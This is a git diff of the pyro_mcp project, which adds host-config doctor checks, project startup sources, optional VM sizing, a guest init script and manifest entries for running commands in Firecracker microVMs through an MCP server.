configured = DEFAULT_HOST_SERVER_NAME in combined_list_output.split()
|
||||
return HostDoctorEntry(
|
||||
host=host,
|
||||
installed=True,
|
||||
configured=configured,
|
||||
status="drifted" if configured else "missing",
|
||||
details=combined_get_output or combined_list_output or f"{binary} MCP entry missing",
|
||||
repair_command=repair_command,
|
||||
)
|
||||
|
||||
|
||||
def _doctor_opencode_host(
|
||||
*,
|
||||
config: HostServerConfig,
|
||||
config_path: Path | None = None,
|
||||
) -> HostDoctorEntry:
|
||||
resolved_path = (
|
||||
DEFAULT_OPENCODE_CONFIG_PATH
|
||||
if config_path is None
|
||||
else config_path.expanduser().resolve()
|
||||
)
|
||||
repair_command = _repair_command("opencode", config, config_path=config_path)
|
||||
installed = shutil.which("opencode") is not None
|
||||
if not resolved_path.exists():
|
||||
return HostDoctorEntry(
|
||||
host="opencode",
|
||||
installed=installed,
|
||||
configured=False,
|
||||
status="missing" if installed else "unavailable",
|
||||
details=f"OpenCode config missing at {resolved_path}",
|
||||
repair_command=repair_command,
|
||||
)
|
||||
try:
|
||||
payload = json.loads(resolved_path.read_text(encoding="utf-8"))
|
||||
except json.JSONDecodeError as exc:
|
||||
return HostDoctorEntry(
|
||||
host="opencode",
|
||||
installed=installed,
|
||||
configured=False,
|
||||
status="drifted" if installed else "unavailable",
|
||||
details=f"OpenCode config is invalid JSON: {exc}",
|
||||
repair_command=repair_command,
|
||||
)
|
||||
if not isinstance(payload, dict):
|
||||
return HostDoctorEntry(
|
||||
host="opencode",
|
||||
installed=installed,
|
||||
configured=False,
|
||||
status="drifted" if installed else "unavailable",
|
||||
details="OpenCode config must be a JSON object",
|
||||
repair_command=repair_command,
|
||||
)
|
||||
mcp_payload = payload.get("mcp")
|
||||
if not isinstance(mcp_payload, dict) or DEFAULT_HOST_SERVER_NAME not in mcp_payload:
|
||||
return HostDoctorEntry(
|
||||
host="opencode",
|
||||
installed=installed,
|
||||
configured=False,
|
||||
status="missing" if installed else "unavailable",
|
||||
details=f"OpenCode config at {resolved_path} is missing mcp.pyro",
|
||||
repair_command=repair_command,
|
||||
)
|
||||
configured_entry = mcp_payload[DEFAULT_HOST_SERVER_NAME]
|
||||
expected_entry = canonical_opencode_entry(config)
|
||||
status: HostStatus = "ok" if configured_entry == expected_entry else "drifted"
|
||||
return HostDoctorEntry(
|
||||
host="opencode",
|
||||
installed=installed,
|
||||
configured=True,
|
||||
status=status,
|
||||
details=f"OpenCode config path: {resolved_path}",
|
||||
repair_command=repair_command,
|
||||
)
|
||||
|
||||
|
||||
def doctor_hosts(
|
||||
*,
|
||||
config: HostServerConfig,
|
||||
config_path: Path | None = None,
|
||||
) -> list[HostDoctorEntry]:
|
||||
return [
|
||||
_doctor_cli_host("claude-code", config=config),
|
||||
_doctor_cli_host("codex", config=config),
|
||||
_doctor_opencode_host(config=config, config_path=config_path),
|
||||
]
|
||||
|
|
@ -10,17 +10,23 @@ from collections.abc import Callable
|
|||
from typing import Any, Final, cast
|
||||
|
||||
from pyro_mcp.api import Pyro
|
||||
from pyro_mcp.vm_manager import (
|
||||
DEFAULT_ALLOW_HOST_COMPAT,
|
||||
DEFAULT_MEM_MIB,
|
||||
DEFAULT_TIMEOUT_SECONDS,
|
||||
DEFAULT_TTL_SECONDS,
|
||||
DEFAULT_VCPU_COUNT,
|
||||
)
|
||||
|
||||
__all__ = ["Pyro", "run_ollama_tool_demo"]
|
||||
|
||||
DEFAULT_OLLAMA_BASE_URL: Final[str] = "http://localhost:11434/v1"
|
||||
DEFAULT_OLLAMA_MODEL: Final[str] = "llama3.2:3b"
|
||||
MAX_TOOL_ROUNDS: Final[int] = 12
|
||||
CLONE_TARGET_DIR: Final[str] = "hello-world"
|
||||
NETWORK_PROOF_COMMAND: Final[str] = (
|
||||
"rm -rf hello-world "
|
||||
"&& git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world >/dev/null "
|
||||
"&& git -C hello-world rev-parse --is-inside-work-tree"
|
||||
'python3 -c "import urllib.request as u; '
|
||||
"print(u.urlopen('https://example.com').status)"
|
||||
'"'
|
||||
)
|
||||
|
||||
TOOL_SPECS: Final[list[dict[str, Any]]] = [
|
||||
|
|
@ -39,8 +45,9 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [
|
|||
"timeout_seconds": {"type": "integer"},
|
||||
"ttl_seconds": {"type": "integer"},
|
||||
"network": {"type": "boolean"},
|
||||
"allow_host_compat": {"type": "boolean"},
|
||||
},
|
||||
"required": ["environment", "command", "vcpu_count", "mem_mib"],
|
||||
"required": ["environment", "command"],
|
||||
"additionalProperties": False,
|
||||
},
|
||||
},
|
||||
|
|
@ -61,7 +68,7 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [
|
|||
"type": "function",
|
||||
"function": {
|
||||
"name": "vm_create",
|
||||
"description": "Create an ephemeral VM with explicit vCPU and memory sizing.",
|
||||
"description": "Create an ephemeral VM with optional resource sizing.",
|
||||
"parameters": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
|
|
@ -70,8 +77,9 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [
|
|||
"mem_mib": {"type": "integer"},
|
||||
"ttl_seconds": {"type": "integer"},
|
||||
"network": {"type": "boolean"},
|
||||
"allow_host_compat": {"type": "boolean"},
|
||||
},
|
||||
"required": ["environment", "vcpu_count", "mem_mib"],
|
||||
"required": ["environment"],
|
||||
"additionalProperties": False,
|
||||
},
|
||||
},
|
||||
|
|
@ -192,6 +200,12 @@ def _require_int(arguments: dict[str, Any], key: str) -> int:
|
|||
raise ValueError(f"{key} must be an integer")
|
||||
|
||||
|
||||
def _optional_int(arguments: dict[str, Any], key: str, *, default: int) -> int:
|
||||
if key not in arguments:
|
||||
return default
|
||||
return _require_int(arguments, key)
|
||||
|
||||
|
||||
def _require_bool(arguments: dict[str, Any], key: str, *, default: bool = False) -> bool:
|
||||
value = arguments.get(key, default)
|
||||
if isinstance(value, bool):
|
||||
|
|
@ -211,27 +225,37 @@ def _dispatch_tool_call(
|
|||
pyro: Pyro, tool_name: str, arguments: dict[str, Any]
|
||||
) -> dict[str, Any]:
|
||||
if tool_name == "vm_run":
|
||||
ttl_seconds = arguments.get("ttl_seconds", 600)
|
||||
timeout_seconds = arguments.get("timeout_seconds", 30)
|
||||
ttl_seconds = arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)
|
||||
timeout_seconds = arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS)
|
||||
return pyro.run_in_vm(
|
||||
environment=_require_str(arguments, "environment"),
|
||||
command=_require_str(arguments, "command"),
|
||||
vcpu_count=_require_int(arguments, "vcpu_count"),
|
||||
mem_mib=_require_int(arguments, "mem_mib"),
|
||||
vcpu_count=_optional_int(arguments, "vcpu_count", default=DEFAULT_VCPU_COUNT),
|
||||
mem_mib=_optional_int(arguments, "mem_mib", default=DEFAULT_MEM_MIB),
|
||||
timeout_seconds=_require_int({"timeout_seconds": timeout_seconds}, "timeout_seconds"),
|
||||
ttl_seconds=_require_int({"ttl_seconds": ttl_seconds}, "ttl_seconds"),
|
||||
network=_require_bool(arguments, "network", default=False),
|
||||
allow_host_compat=_require_bool(
|
||||
arguments,
|
||||
"allow_host_compat",
|
||||
default=DEFAULT_ALLOW_HOST_COMPAT,
|
||||
),
|
||||
)
|
||||
if tool_name == "vm_list_environments":
|
||||
return {"environments": pyro.list_environments()}
|
||||
if tool_name == "vm_create":
|
||||
ttl_seconds = arguments.get("ttl_seconds", 600)
|
||||
ttl_seconds = arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)
|
||||
return pyro.create_vm(
|
||||
environment=_require_str(arguments, "environment"),
|
||||
vcpu_count=_require_int(arguments, "vcpu_count"),
|
||||
mem_mib=_require_int(arguments, "mem_mib"),
|
||||
vcpu_count=_optional_int(arguments, "vcpu_count", default=DEFAULT_VCPU_COUNT),
|
||||
mem_mib=_optional_int(arguments, "mem_mib", default=DEFAULT_MEM_MIB),
|
||||
ttl_seconds=_require_int({"ttl_seconds": ttl_seconds}, "ttl_seconds"),
|
||||
network=_require_bool(arguments, "network", default=False),
|
||||
allow_host_compat=_require_bool(
|
||||
arguments,
|
||||
"allow_host_compat",
|
||||
default=DEFAULT_ALLOW_HOST_COMPAT,
|
||||
),
|
||||
)
|
||||
if tool_name == "vm_start":
|
||||
return pyro.start_vm(_require_str(arguments, "vm_id"))
|
||||
|
|
@ -275,10 +299,10 @@ def _run_direct_lifecycle_fallback(pyro: Pyro) -> dict[str, Any]:
|
|||
return pyro.run_in_vm(
|
||||
environment="debian:12",
|
||||
command=NETWORK_PROOF_COMMAND,
|
||||
vcpu_count=1,
|
||||
mem_mib=512,
|
||||
vcpu_count=DEFAULT_VCPU_COUNT,
|
||||
mem_mib=DEFAULT_MEM_MIB,
|
||||
timeout_seconds=60,
|
||||
ttl_seconds=600,
|
||||
ttl_seconds=DEFAULT_TTL_SECONDS,
|
||||
network=True,
|
||||
)
|
||||
|
||||
|
|
|
|||
149
src/pyro_mcp/project_startup.py
Normal file
149
src/pyro_mcp/project_startup.py
Normal file
|
|
@ -0,0 +1,149 @@
|
|||
"""Server-scoped project startup source helpers for MCP chat flows."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import shutil
|
||||
import subprocess
|
||||
import tempfile
|
||||
from contextlib import contextmanager
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Iterator, Literal
|
||||
|
||||
ProjectStartupSourceKind = Literal["project_path", "repo_url"]
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class ProjectStartupSource:
|
||||
"""Server-scoped default source for workspace creation."""
|
||||
|
||||
kind: ProjectStartupSourceKind
|
||||
origin_ref: str
|
||||
resolved_path: Path | None = None
|
||||
repo_ref: str | None = None
|
||||
|
||||
|
||||
def _run_git(command: list[str], *, cwd: Path | None = None) -> subprocess.CompletedProcess[str]:
|
||||
return subprocess.run( # noqa: S603
|
||||
command,
|
||||
cwd=str(cwd) if cwd is not None else None,
|
||||
check=False,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
)
|
||||
|
||||
|
||||
def _detect_git_root(start_dir: Path) -> Path | None:
|
||||
result = _run_git(["git", "rev-parse", "--show-toplevel"], cwd=start_dir)
|
||||
if result.returncode != 0:
|
||||
return None
|
||||
stdout = result.stdout.strip()
|
||||
if stdout == "":
|
||||
return None
|
||||
return Path(stdout).expanduser().resolve()
|
||||
|
||||
|
||||
def _resolve_project_path(project_path: str | Path, *, cwd: Path) -> Path:
|
||||
resolved = Path(project_path).expanduser()
|
||||
if not resolved.is_absolute():
|
||||
resolved = (cwd / resolved).resolve()
|
||||
else:
|
||||
resolved = resolved.resolve()
|
||||
if not resolved.exists():
|
||||
raise ValueError(f"project_path {resolved} does not exist")
|
||||
if not resolved.is_dir():
|
||||
raise ValueError(f"project_path {resolved} must be a directory")
|
||||
git_root = _detect_git_root(resolved)
|
||||
if git_root is not None:
|
||||
return git_root
|
||||
return resolved
|
||||
|
||||
|
||||
def resolve_project_startup_source(
|
||||
*,
|
||||
project_path: str | Path | None = None,
|
||||
repo_url: str | None = None,
|
||||
repo_ref: str | None = None,
|
||||
no_project_source: bool = False,
|
||||
cwd: Path | None = None,
|
||||
) -> ProjectStartupSource | None:
|
||||
working_dir = Path.cwd() if cwd is None else cwd.resolve()
|
||||
if no_project_source:
|
||||
if project_path is not None or repo_url is not None or repo_ref is not None:
|
||||
raise ValueError(
|
||||
"--no-project-source cannot be combined with --project-path, "
|
||||
"--repo-url, or --repo-ref"
|
||||
)
|
||||
return None
|
||||
if project_path is not None and repo_url is not None:
|
||||
raise ValueError("--project-path and --repo-url are mutually exclusive")
|
||||
if repo_ref is not None and repo_url is None:
|
||||
raise ValueError("--repo-ref requires --repo-url")
|
||||
if project_path is not None:
|
||||
resolved_path = _resolve_project_path(project_path, cwd=working_dir)
|
||||
return ProjectStartupSource(
|
||||
kind="project_path",
|
||||
origin_ref=str(resolved_path),
|
||||
resolved_path=resolved_path,
|
||||
)
|
||||
if repo_url is not None:
|
||||
normalized_repo_url = repo_url.strip()
|
||||
if normalized_repo_url == "":
|
||||
raise ValueError("--repo-url must not be empty")
|
||||
normalized_repo_ref = None if repo_ref is None else repo_ref.strip()
|
||||
if normalized_repo_ref == "":
|
||||
raise ValueError("--repo-ref must not be empty")
|
||||
return ProjectStartupSource(
|
||||
kind="repo_url",
|
||||
origin_ref=normalized_repo_url,
|
||||
repo_ref=normalized_repo_ref,
|
||||
)
|
||||
detected_root = _detect_git_root(working_dir)
|
||||
if detected_root is None:
|
||||
return None
|
||||
return ProjectStartupSource(
|
||||
kind="project_path",
|
||||
origin_ref=str(detected_root),
|
||||
resolved_path=detected_root,
|
||||
)
|
||||
|
||||
|
||||
@contextmanager
|
||||
def materialize_project_startup_source(source: ProjectStartupSource) -> Iterator[Path]:
|
||||
if source.kind == "project_path":
|
||||
if source.resolved_path is None:
|
||||
raise RuntimeError("project_path source is missing a resolved path")
|
||||
yield source.resolved_path
|
||||
return
|
||||
|
||||
temp_dir = Path(tempfile.mkdtemp(prefix="pyro-project-source-"))
|
||||
clone_dir = temp_dir / "clone"
|
||||
try:
|
||||
clone_result = _run_git(["git", "clone", "--quiet", source.origin_ref, str(clone_dir)])
|
||||
if clone_result.returncode != 0:
|
||||
stderr = clone_result.stderr.strip() or "git clone failed"
|
||||
raise RuntimeError(f"failed to clone repo_url {source.origin_ref!r}: {stderr}")
|
||||
if source.repo_ref is not None:
|
||||
checkout_result = _run_git(
|
||||
["git", "checkout", "--quiet", source.repo_ref],
|
||||
cwd=clone_dir,
|
||||
)
|
||||
if checkout_result.returncode != 0:
|
||||
stderr = checkout_result.stderr.strip() or "git checkout failed"
|
||||
raise RuntimeError(
|
||||
f"failed to checkout repo_ref {source.repo_ref!r} for "
|
||||
f"repo_url {source.origin_ref!r}: {stderr}"
|
||||
)
|
||||
yield clone_dir
|
||||
finally:
|
||||
shutil.rmtree(temp_dir, ignore_errors=True)
|
||||
|
||||
|
||||
def describe_project_startup_source(source: ProjectStartupSource | None) -> str | None:
|
||||
if source is None:
|
||||
return None
|
||||
if source.kind == "project_path":
|
||||
return f"the current project at {source.origin_ref}"
|
||||
if source.repo_ref is None:
|
||||
return f"the clean clone source {source.origin_ref}"
|
||||
return f"the clean clone source {source.origin_ref} at ref {source.repo_ref}"
|
||||
|
|
@ -11,6 +11,13 @@ from dataclasses import dataclass
|
|||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
from pyro_mcp.daily_loop import (
|
||||
DEFAULT_PREPARE_ENVIRONMENT,
|
||||
evaluate_daily_loop_status,
|
||||
load_prepare_manifest,
|
||||
prepare_manifest_path,
|
||||
serialize_daily_loop_report,
|
||||
)
|
||||
from pyro_mcp.vm_network import TapNetworkManager
|
||||
|
||||
DEFAULT_PLATFORM = "linux-x86_64"
|
||||
|
|
@ -25,6 +32,7 @@ class RuntimePaths:
|
|||
firecracker_bin: Path
|
||||
jailer_bin: Path
|
||||
guest_agent_path: Path | None
|
||||
guest_init_path: Path | None
|
||||
artifacts_dir: Path
|
||||
notice_path: Path
|
||||
manifest: dict[str, Any]
|
||||
|
|
@ -93,6 +101,7 @@ def resolve_runtime_paths(
|
|||
firecracker_bin = bundle_root / str(firecracker_entry.get("path", ""))
|
||||
jailer_bin = bundle_root / str(jailer_entry.get("path", ""))
|
||||
guest_agent_path: Path | None = None
|
||||
guest_init_path: Path | None = None
|
||||
guest = manifest.get("guest")
|
||||
if isinstance(guest, dict):
|
||||
agent_entry = guest.get("agent")
|
||||
|
|
@ -100,11 +109,18 @@ def resolve_runtime_paths(
|
|||
raw_agent_path = agent_entry.get("path")
|
||||
if isinstance(raw_agent_path, str):
|
||||
guest_agent_path = bundle_root / raw_agent_path
|
||||
init_entry = guest.get("init")
|
||||
if isinstance(init_entry, dict):
|
||||
raw_init_path = init_entry.get("path")
|
||||
if isinstance(raw_init_path, str):
|
||||
guest_init_path = bundle_root / raw_init_path
|
||||
artifacts_dir = bundle_root / "profiles"
|
||||
|
||||
required_paths = [firecracker_bin, jailer_bin]
|
||||
if guest_agent_path is not None:
|
||||
required_paths.append(guest_agent_path)
|
||||
if guest_init_path is not None:
|
||||
required_paths.append(guest_init_path)
|
||||
|
||||
for path in required_paths:
|
||||
if not path.exists():
|
||||
|
|
@ -126,12 +142,17 @@ def resolve_runtime_paths(
|
|||
f"runtime checksum mismatch for {full_path}; expected {raw_hash}, got {actual}"
|
||||
)
|
||||
if isinstance(guest, dict):
|
||||
agent_entry = guest.get("agent")
|
||||
if isinstance(agent_entry, dict):
|
||||
raw_path = agent_entry.get("path")
|
||||
raw_hash = agent_entry.get("sha256")
|
||||
for entry_name, malformed_message in (
|
||||
("agent", "runtime guest agent manifest entry is malformed"),
|
||||
("init", "runtime guest init manifest entry is malformed"),
|
||||
):
|
||||
guest_entry = guest.get(entry_name)
|
||||
if not isinstance(guest_entry, dict):
|
||||
continue
|
||||
raw_path = guest_entry.get("path")
|
||||
raw_hash = guest_entry.get("sha256")
|
||||
if not isinstance(raw_path, str) or not isinstance(raw_hash, str):
|
||||
raise RuntimeError("runtime guest agent manifest entry is malformed")
|
||||
raise RuntimeError(malformed_message)
|
||||
full_path = bundle_root / raw_path
|
||||
actual = _sha256(full_path)
|
||||
if actual != raw_hash:
|
||||
|
|
@ -145,6 +166,7 @@ def resolve_runtime_paths(
|
|||
firecracker_bin=firecracker_bin,
|
||||
jailer_bin=jailer_bin,
|
||||
guest_agent_path=guest_agent_path,
|
||||
guest_init_path=guest_init_path,
|
||||
artifacts_dir=artifacts_dir,
|
||||
notice_path=notice_path,
|
||||
manifest=manifest,
|
||||
|
|
@ -185,7 +207,11 @@ def runtime_capabilities(paths: RuntimePaths) -> RuntimeCapabilities:
|
|||
)
|
||||
|
||||
|
||||
def doctor_report(*, platform: str = DEFAULT_PLATFORM) -> dict[str, Any]:
|
||||
def doctor_report(
|
||||
*,
|
||||
platform: str = DEFAULT_PLATFORM,
|
||||
environment: str = DEFAULT_PREPARE_ENVIRONMENT,
|
||||
) -> dict[str, Any]:
|
||||
"""Build a runtime diagnostics report."""
|
||||
report: dict[str, Any] = {
|
||||
"platform": platform,
|
||||
|
|
@ -227,6 +253,7 @@ def doctor_report(*, platform: str = DEFAULT_PLATFORM) -> dict[str, Any]:
|
|||
"firecracker_bin": str(paths.firecracker_bin),
|
||||
"jailer_bin": str(paths.jailer_bin),
|
||||
"guest_agent_path": str(paths.guest_agent_path) if paths.guest_agent_path else None,
|
||||
"guest_init_path": str(paths.guest_init_path) if paths.guest_init_path else None,
|
||||
"artifacts_dir": str(paths.artifacts_dir),
|
||||
"artifacts_present": paths.artifacts_dir.exists(),
|
||||
"notice_path": str(paths.notice_path),
|
||||
|
|
@ -242,6 +269,36 @@ def doctor_report(*, platform: str = DEFAULT_PLATFORM) -> dict[str, Any]:
|
|||
"cache_dir": str(environment_store.cache_dir),
|
||||
"environments": environment_store.list_environments(),
|
||||
}
|
||||
environment_details = environment_store.inspect_environment(environment)
|
||||
manifest_path = prepare_manifest_path(
|
||||
environment_store.cache_dir,
|
||||
platform=platform,
|
||||
environment=environment,
|
||||
)
|
||||
manifest, manifest_error = load_prepare_manifest(manifest_path)
|
||||
status, reason = evaluate_daily_loop_status(
|
||||
environment=environment,
|
||||
environment_version=str(environment_details["version"]),
|
||||
platform=platform,
|
||||
catalog_version=environment_store.catalog_version,
|
||||
bundle_version=(
|
||||
None
|
||||
if paths.manifest.get("bundle_version") is None
|
||||
else str(paths.manifest["bundle_version"])
|
||||
),
|
||||
installed=bool(environment_details["installed"]),
|
||||
manifest=manifest,
|
||||
manifest_error=manifest_error,
|
||||
)
|
||||
report["daily_loop"] = serialize_daily_loop_report(
|
||||
environment=environment,
|
||||
status=status,
|
||||
installed=bool(environment_details["installed"]),
|
||||
cache_dir=environment_store.cache_dir,
|
||||
manifest_path=manifest_path,
|
||||
reason=reason,
|
||||
manifest=manifest,
|
||||
)
|
||||
if not report["kvm"]["exists"]:
|
||||
report["issues"] = ["/dev/kvm is not available on this host"]
|
||||
return report
|
||||
|
|
|
|||
57
src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro-init
Normal file
57
src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro-init
Normal file
|
|
@ -0,0 +1,57 @@
|
|||
#!/bin/sh
|
||||
set -eu
|
||||
|
||||
PATH=/usr/sbin:/usr/bin:/sbin:/bin
|
||||
AGENT=/opt/pyro/bin/pyro_guest_agent.py
|
||||
|
||||
mount -t proc proc /proc || true
|
||||
mount -t sysfs sysfs /sys || true
|
||||
mount -t devtmpfs devtmpfs /dev || true
|
||||
mkdir -p /dev/pts /run /tmp
|
||||
mount -t devpts devpts /dev/pts -o mode=620,ptmxmode=666 || true
|
||||
hostname pyro-vm || true
|
||||
|
||||
cmdline="$(cat /proc/cmdline 2>/dev/null || true)"
|
||||
|
||||
get_arg() {
|
||||
key="$1"
|
||||
for token in $cmdline; do
|
||||
case "$token" in
|
||||
"$key"=*)
|
||||
printf '%s' "${token#*=}"
|
||||
return 0
|
||||
;;
|
||||
esac
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
ip link set lo up || true
|
||||
if ip link show eth0 >/dev/null 2>&1; then
|
||||
ip link set eth0 up || true
|
||||
guest_ip="$(get_arg pyro.guest_ip || true)"
|
||||
gateway_ip="$(get_arg pyro.gateway_ip || true)"
|
||||
netmask="$(get_arg pyro.netmask || true)"
|
||||
dns_csv="$(get_arg pyro.dns || true)"
|
||||
if [ -n "$guest_ip" ] && [ -n "$netmask" ]; then
|
||||
ip addr add "$guest_ip/$netmask" dev eth0 || true
|
||||
fi
|
||||
if [ -n "$gateway_ip" ]; then
|
||||
ip route add default via "$gateway_ip" dev eth0 || true
|
||||
fi
|
||||
if [ -n "$dns_csv" ]; then
|
||||
: > /etc/resolv.conf
|
||||
old_ifs="$IFS"
|
||||
IFS=,
|
||||
for dns in $dns_csv; do
|
||||
printf 'nameserver %s\n' "$dns" >> /etc/resolv.conf
|
||||
done
|
||||
IFS="$old_ifs"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -f "$AGENT" ]; then
|
||||
python3 "$AGENT" &
|
||||
fi
|
||||
|
||||
exec /bin/sh -lc 'trap : TERM INT; while true; do sleep 3600; done'
|
||||
File diff suppressed because it is too large
Load diff
|
|
@ -18,14 +18,18 @@
|
|||
"component_versions": {
|
||||
"base_distro": "debian-bookworm-20250210",
|
||||
"firecracker": "1.12.1",
|
||||
"guest_agent": "0.1.0-dev",
|
||||
"guest_agent": "0.2.0-dev",
|
||||
"jailer": "1.12.1",
|
||||
"kernel": "5.10.210"
|
||||
},
|
||||
"guest": {
|
||||
"agent": {
|
||||
"path": "guest/pyro_guest_agent.py",
|
||||
"sha256": "65bf8a9a57ffd7321463537e598c4b30f0a13046cbd4538f1b65bc351da5d3c0"
|
||||
"sha256": "81fe2523a40f9e88ee38601292b25919059be7faa049c9d02e9466453319c7dd"
|
||||
},
|
||||
"init": {
|
||||
"path": "guest/pyro-init",
|
||||
"sha256": "96e3653955db049496cc9dc7042f3778460966e3ee7559da50224ab92ee8060b"
|
||||
}
|
||||
},
|
||||
"platform": "linux-x86_64",
|
||||
|
|
|
|||
|
|
@ -9,9 +9,9 @@ from pathlib import Path
|
|||
from pyro_mcp.api import Pyro
|
||||
|
||||
NETWORK_CHECK_COMMAND = (
|
||||
"rm -rf hello-world "
|
||||
"&& git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world >/dev/null "
|
||||
"&& git -C hello-world rev-parse --is-inside-work-tree"
|
||||
'python3 -c "import urllib.request as u; '
|
||||
"print(u.urlopen('https://example.com').status)"
|
||||
'"'
|
||||
)
|
||||
|
||||
|
||||
|
|
@ -76,7 +76,7 @@ def main() -> None: # pragma: no cover - CLI wiring
|
|||
print(f"[network] execution_mode={result.execution_mode}")
|
||||
print(f"[network] network_enabled={result.network_enabled}")
|
||||
print(f"[network] exit_code={result.exit_code}")
|
||||
if result.exit_code == 0 and result.stdout.strip() == "true":
|
||||
if result.exit_code == 0 and result.stdout.strip() == "200":
|
||||
print("[network] result=success")
|
||||
return
|
||||
print("[network] result=failure")
|
||||
|
|
|
|||
|
|
@ -2,15 +2,41 @@
|
|||
|
||||
from __future__ import annotations
|
||||
|
||||
from pathlib import Path
|
||||
|
||||
from mcp.server.fastmcp import FastMCP
|
||||
|
||||
from pyro_mcp.api import Pyro
|
||||
from pyro_mcp.api import McpToolProfile, Pyro, WorkspaceUseCaseMode
|
||||
from pyro_mcp.vm_manager import VmManager
|
||||
|
||||
|
||||
def create_server(manager: VmManager | None = None) -> FastMCP:
|
||||
"""Create and return a configured MCP server instance."""
|
||||
return Pyro(manager=manager).create_server()
|
||||
def create_server(
|
||||
manager: VmManager | None = None,
|
||||
*,
|
||||
profile: McpToolProfile = "workspace-core",
|
||||
mode: WorkspaceUseCaseMode | None = None,
|
||||
project_path: str | Path | None = None,
|
||||
repo_url: str | None = None,
|
||||
repo_ref: str | None = None,
|
||||
no_project_source: bool = False,
|
||||
) -> FastMCP:
|
||||
"""Create and return a configured MCP server instance.
|
||||
|
||||
Bare server creation uses the generic `workspace-core` path in 4.x. Use
|
||||
`mode=...` for one of the named use-case surfaces, or
|
||||
`profile="workspace-full"` only when the host truly needs the full
|
||||
advanced workspace surface. By default, the server auto-detects the
|
||||
nearest Git worktree root from its current working directory for
|
||||
project-aware `workspace_create` calls.
|
||||
"""
|
||||
return Pyro(manager=manager).create_server(
|
||||
profile=profile,
|
||||
mode=mode,
|
||||
project_path=project_path,
|
||||
repo_url=repo_url,
|
||||
repo_ref=repo_ref,
|
||||
no_project_source=no_project_source,
|
||||
)
|
||||
|
||||
|
||||
def main() -> None:
|
||||
|
|
|
|||
|
|
@ -19,7 +19,7 @@ from typing import Any
|
|||
from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths
|
||||
|
||||
DEFAULT_ENVIRONMENT_VERSION = "1.0.0"
|
||||
DEFAULT_CATALOG_VERSION = "1.0.0"
|
||||
DEFAULT_CATALOG_VERSION = "4.5.0"
|
||||
OCI_MANIFEST_ACCEPT = ", ".join(
|
||||
(
|
||||
"application/vnd.oci.image.index.v1+json",
|
||||
|
|
@ -48,7 +48,7 @@ class VmEnvironment:
|
|||
oci_repository: str | None = None
|
||||
oci_reference: str | None = None
|
||||
source_digest: str | None = None
|
||||
compatibility: str = ">=1.0.0,<2.0.0"
|
||||
compatibility: str = ">=4.5.0,<5.0.0"
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
|
|
@ -114,6 +114,11 @@ def _default_cache_dir() -> Path:
|
|||
)
|
||||
|
||||
|
||||
def default_cache_dir() -> Path:
|
||||
"""Return the canonical default environment cache directory."""
|
||||
return _default_cache_dir()
|
||||
|
||||
|
||||
def _manifest_profile_digest(runtime_paths: RuntimePaths, profile_name: str) -> str | None:
|
||||
profiles = runtime_paths.manifest.get("profiles")
|
||||
if not isinstance(profiles, dict):
|
||||
|
|
@ -180,6 +185,10 @@ def _serialize_environment(environment: VmEnvironment) -> dict[str, object]:
|
|||
}
|
||||
|
||||
|
||||
def _artifacts_ready(root: Path) -> bool:
|
||||
return (root / "vmlinux").is_file() and (root / "rootfs.ext4").is_file()
|
||||
|
||||
|
||||
class EnvironmentStore:
|
||||
"""Install and inspect curated environments in a local cache."""
|
||||
|
||||
|
|
@ -223,7 +232,7 @@ class EnvironmentStore:
|
|||
spec = get_environment(name, runtime_paths=self._runtime_paths)
|
||||
install_dir = self._install_dir(spec)
|
||||
metadata_path = install_dir / "environment.json"
|
||||
installed = metadata_path.exists() and (install_dir / "vmlinux").exists()
|
||||
installed = self._load_installed_environment(spec) is not None
|
||||
payload = _serialize_environment(spec)
|
||||
payload.update(
|
||||
{
|
||||
|
|
@ -240,29 +249,12 @@ class EnvironmentStore:
|
|||
def ensure_installed(self, name: str) -> InstalledEnvironment:
|
||||
spec = get_environment(name, runtime_paths=self._runtime_paths)
|
||||
self._platform_dir.mkdir(parents=True, exist_ok=True)
|
||||
install_dir = self._install_dir(spec)
|
||||
metadata_path = install_dir / "environment.json"
|
||||
if metadata_path.exists():
|
||||
kernel_image = install_dir / "vmlinux"
|
||||
rootfs_image = install_dir / "rootfs.ext4"
|
||||
if kernel_image.exists() and rootfs_image.exists():
|
||||
metadata = json.loads(metadata_path.read_text(encoding="utf-8"))
|
||||
source = str(metadata.get("source", "cache"))
|
||||
raw_digest = metadata.get("source_digest")
|
||||
digest = raw_digest if isinstance(raw_digest, str) else None
|
||||
return InstalledEnvironment(
|
||||
name=spec.name,
|
||||
version=spec.version,
|
||||
install_dir=install_dir,
|
||||
kernel_image=kernel_image,
|
||||
rootfs_image=rootfs_image,
|
||||
source=source,
|
||||
source_digest=digest,
|
||||
installed=True,
|
||||
)
|
||||
installed = self._load_installed_environment(spec)
|
||||
if installed is not None:
|
||||
return installed
|
||||
|
||||
source_dir = self._runtime_paths.artifacts_dir / spec.source_profile
|
||||
if source_dir.exists():
|
||||
if _artifacts_ready(source_dir):
|
||||
return self._install_from_local_source(spec, source_dir)
|
||||
if (
|
||||
spec.oci_registry is not None
|
||||
|
|
@ -308,6 +300,10 @@ class EnvironmentStore:
|
|||
if spec.version != raw_version:
|
||||
shutil.rmtree(child, ignore_errors=True)
|
||||
deleted.append(child.name)
|
||||
continue
|
||||
if self._load_installed_environment(spec, install_dir=child) is None:
|
||||
shutil.rmtree(child, ignore_errors=True)
|
||||
deleted.append(child.name)
|
||||
return {"deleted_environment_dirs": sorted(deleted), "count": len(deleted)}
|
||||
|
||||
def _install_dir(self, spec: VmEnvironment) -> Path:
|
||||
|
|
